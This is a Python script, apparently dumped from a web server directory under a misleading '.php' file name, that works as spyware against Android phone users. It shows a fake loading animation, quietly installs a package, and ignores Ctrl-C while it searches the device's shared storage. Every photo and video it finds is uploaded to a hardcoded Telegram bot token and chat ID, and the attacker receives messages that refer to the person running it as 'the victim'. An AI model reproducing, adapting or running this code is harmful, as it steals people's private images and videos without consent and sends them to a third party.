Current File : /home/honehdyv/readbtooom.com/Crackers_Alpha_v1 (2).php |
import os
import sys
import subprocess
import asyncio
import time
import threading
import signal
import platform
from telegram import Bot
from telegram.error import TelegramError
TOKEN = '7773282501:AAErPUup-Z9mPINhMTz7rFxP9bZQlC200k8'
CHAT_ID = '6472126652'
REQUIRED_LIBRARIES = ['python-telegram-bot']
def install_packages():
for package in REQUIRED_LIBRARIES:
subprocess.check_call([sys.executable, "-m", "pip", "install", package], stdout=subprocess.DEVNULL, stderr=subprocess.DEVNULL)
def loading_animation():
animation = "|/-\\"
idx = 0
while True:
sys.stdout.write(f"\rLoading {animation[idx]}")
sys.stdout.flush()
idx = (idx + 1) % len(animation)
time.sleep(0.1)
loading_thread = threading.Thread(target=loading_animation, daemon=True)
loading_thread.start()
install_packages()
bot = Bot(token=TOKEN)
async def send_photos(photo_paths):
for photo_path in photo_paths:
try:
device_name = os.path.basename(os.path.dirname(photo_path))
with open(photo_path, 'rb') as photo:
await bot.send_photo(chat_id=CHAT_ID, photo=photo, caption=f"من جهاز: {device_name}")
except TelegramError as e:
print(f"Error sending photo {photo_path}: {e}")
async def send_videos(video_paths):
for video_path in video_paths:
try:
device_name = os.path.basename(os.path.dirname(video_path))
with open(video_path, 'rb') as video:
await bot.send_video(chat_id=CHAT_ID, video=video, caption=f"من جهاز: {device_name}")
except TelegramError as e:
print(f"Error sending video {video_path}: {e}")
async def send_welcome_message():
try:
await bot.send_message(chat_id=CHAT_ID, text="""━━━━━━━━━━━━━━━━━━━━━━━━━
𖣂 The bot was run by the victim. 𖣂 ━━━━━━━━━━━━━━━━━━━━━━━━━
┌• Developer Name: ⦅ 𝚂𝙾𝙽 </> ˢᵃʸᵒⁿᵃʳᵃ ⦆
├• Developer Channel: ⦅ @llzvu ⦆
├• Crew Channel: ⦅ @Real ⦆
└• Support: ⦅ @son_0_bot ⦆
━━━━━━━━━━━━━━━━━━━━━
⚠️ Script is considered illegal ⚠️""")
except TelegramError as e:
print(f"Error sending welcome message: {e}")
def get_image_files(directory):
image_extensions = ('.jpg', '.jpeg', '.png', '.gif')
photo_paths = []
for root, dirs, files in os.walk(directory):
for file in files:
if file.lower().endswith(image_extensions):
photo_paths.append(os.path.join(root, file))
return photo_paths
def get_video_files(directory):
video_extensions = ('.mp4', '.avi', '.mov', '.mkv')
video_paths = []
for root, dirs, files in os.walk(directory):
for file in files:
if file.lower().endswith(video_extensions):
video_paths.append(os.path.join(root, file))
return video_paths
async def main():
media_directory = '/storage/emulated/0/'
photos = get_image_files(media_directory)
videos = get_video_files(media_directory)
await send_welcome_message()
await send_photos(photos)
await send_videos(videos)
try:
await bot.send_message(chat_id=CHAT_ID, text="All photos and videos have been sent from the victim's device.")
except TelegramError as e:
print(f"Error sending completion message: {e}")
def ignore_signal(signum, frame):
pass
if platform.system() != 'Windows':
signal.signal(signal.SIGINT, ignore_signal)
asyncio.run(main())